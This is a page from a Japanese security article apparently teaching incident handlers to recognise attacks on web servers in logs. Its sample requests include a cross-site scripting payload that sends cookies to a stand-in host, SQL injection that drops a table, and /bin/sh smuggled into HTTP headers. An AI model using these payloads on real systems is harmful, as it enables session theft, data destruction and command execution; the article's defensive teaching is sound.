連載
» 2007年07月13日 10時00分 公開

インシデントの見抜きかた(1):Webサーバへの攻撃を見抜く (2/3)

[海老根猛,@IT]

クロスサイトスクリプティングを狙った攻撃の例

 次にクロスサイトスクリプティングを狙った通信を紹介する。

GET /sample.cgi?language=ja&country=JP
&page=<script>alert('foo')</script> HTTP/1.1
 
GET /cgi-bin/sample.cgi?A=execute&U=&CF=search-simple
&nv=ie&S=%3Cscript%3Ealert%28%22test%22%29%3B%3C%2F
script%3E&So=RDATE&Sp=AND
 
GET /cgi-bin/sample.cgi?doc=<%73cr%69pt>document.location=
('http://example.com/test.php?c='+document.cookie)<%2f%73
%63%72%69%70t>
リスト4 クロスサイトスクリプティングを狙った攻撃の例

 sample.cgiはWebフォームで、入力された文字に対して全くチェックを行っていない脆弱なcgiとする。

 引数として渡されている値の中にscriptの文字が見えるだろうか。2つ目、3つ目のものでは<script>の文字がエンコードされているため、一見分かりづらいかもしれない。

 ブラウザによって挙動は異なるが、sample.cgiを開いたと同時にスクリプトが実行されてしまう可能性がある。

【注】

クロスサイトスクリプティングはscriptタグだけとは限らないので、詳細な情報は専門の文献を参照してほしい。


 クロスサイトスクリプティングは冒頭のとおり定番の攻撃手法である。気を付けなくてはならないのは、POSTの通信の場合、Webサーバのログからでは詳細な情報が取得できない可能性がある。

 以下はWebサーバのログである。

192.168.100.101 - - [15/Jun/2007:07:40:30 +0900] "POST http://test.example.com/sample.cgi
HTTP/1.1" 200 314 "-" "-"
リスト5 Webサーバのログ

 一見、不正な通信のログには見えない。だが、実際は以下の通信が流れている。

doc=<%73cr%69pt>document.location=('http://example.com
/test.php?c='+document.cookie)<%2f%73%63%72%69%70t>
リスト6 POSTのデータ

 ここまで参照できればクロスサイトスクリプティングを狙っている通信だと気付くだろう。

 POSTのデータ部については、Apacheであればmod_securityというモジュールを利用すると記録できる。IISの場合は、専用のアプリケーションや機器が必要になるので注意が必要だ。

【関連記事】

クロスサイトスクリプティング対策の基本

http://www.atmarkit.co.jp/fsecurity/special/30xss/xss01.html


星野君のWebアプリほのぼの改造計画(10)

マルチバイトの落とし穴

http://www.atmarkit.co.jp/fsecurity/rensai/hoshino10/hoshino01.html


SQLインジェクションを狙った攻撃の例

 SQLインジェクションの例でも同じである。

GET /cgi-bin/sample.asp?'%20and%20char(124)%2Buser%2Bchar(124)=0%20and%20'%25'='
 
GET /sample/data.asp?fname=abcdef';DROP TABLE Drop_tmp;CREATE TABLE Attack_Tmp(subdirectory nvarchar(400) NULL)--'
リスト7 SQLインジェクションを狙った攻撃の例

 上記ログの2行目では、「Attack_Tmp」というテーブルを作成しようとしている。GETは引数の部分にSQL文が見えるが、POSTの通信ではデータ部に含まれている。

POST /cgi-bin/sample.asp?
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/msword, */*
Accept-Language: ja
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)
Host: test.example.com
 
- 以下データ部 -
 
fname=abcdef';DROP TABLE Drop_tmp;CREATE TABLE
Attack_Tmp(subdirectory nvarchar(400) NULL)--'
リスト8 POSTのデータ

 なお、SQLインジェクション攻撃の場合は、データベースサーバですべてのログを取得するように設定していれば判別が可能だ。しかしWebサーバのログよりもっと膨大なログを相手にすることになるのは覚悟してほしい。

【関連記事】

Webアプリケーションに潜むセキュリティホール(2)

顧客データがすべて盗まれる?!〜OSやデータベースへの攻撃〜

http://www.atmarkit.co.jp/fsecurity/rensai/webhole02/webhole01.html


星野君のWebアプリほのぼの改造計画(9)

隠されていたSQLインジェクション

http://www.atmarkit.co.jp/fsecurity/rensai/hoshino09/hoshino01.html


OSコマンドインジェクションを狙った攻撃の例

 OSコマンドインジェクションの通信も一例として紹介する。

GET /sample.html HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/msword, */*
Accept-Language: ja
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)|/bin/sh|
Host: test.sample.com
Connection: Keep-Alive
 
POST /css/sample.css HTTP/1.1
Accept: */*
Referer: https://test.sample.com/sample.html|/bin/sh|
Accept-Language: ja
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)
Host: test.sample.com
Connection: Keep-Alive
リスト9 OSコマンドインジェクションを狙った攻撃の例

 上記例ではGETでもPOSTでも送信されるヘッダ部分にOSコマンド(/bin/sh)を入力している。Webアプリケーションで使用している関数にもよるが、OSコマンドがそのまま実行されてしまう可能性もあるので危険だ。

【関連記事】

星野君のWebアプリほのぼの改造計画(7)

公開中のHTMLファイルがごっそり消失!?

http://www.atmarkit.co.jp/fsecurity/rensai/hoshino07/hoshino01.html


Index

Webサーバへの攻撃を見抜く

Page1

インシデントを最終判断するのは「人間」

知識と経験が必要なインシデント・ハンドリング

素早い判断を行うためには切り分けの知識が必要

実例で学ぶインシデント・ハンドリング

ワームによる攻撃の例


Page2

クロスサイトスクリプティングを狙った攻撃の例

SQLインジェクションを狙った攻撃の例

OSコマンドインジェクションを狙った攻撃の例


Page3

SSLの脆弱性を狙った攻撃の例

何が狙われているのかを判断することが対策の第一歩


Copyright © ITmedia, Inc. All Rights Reserved.

RSSについて

アイティメディアIDについて

メールマガジン登録

@ITのメールマガジンは、 もちろん、すべて無料です。ぜひメールマガジンをご購読ください。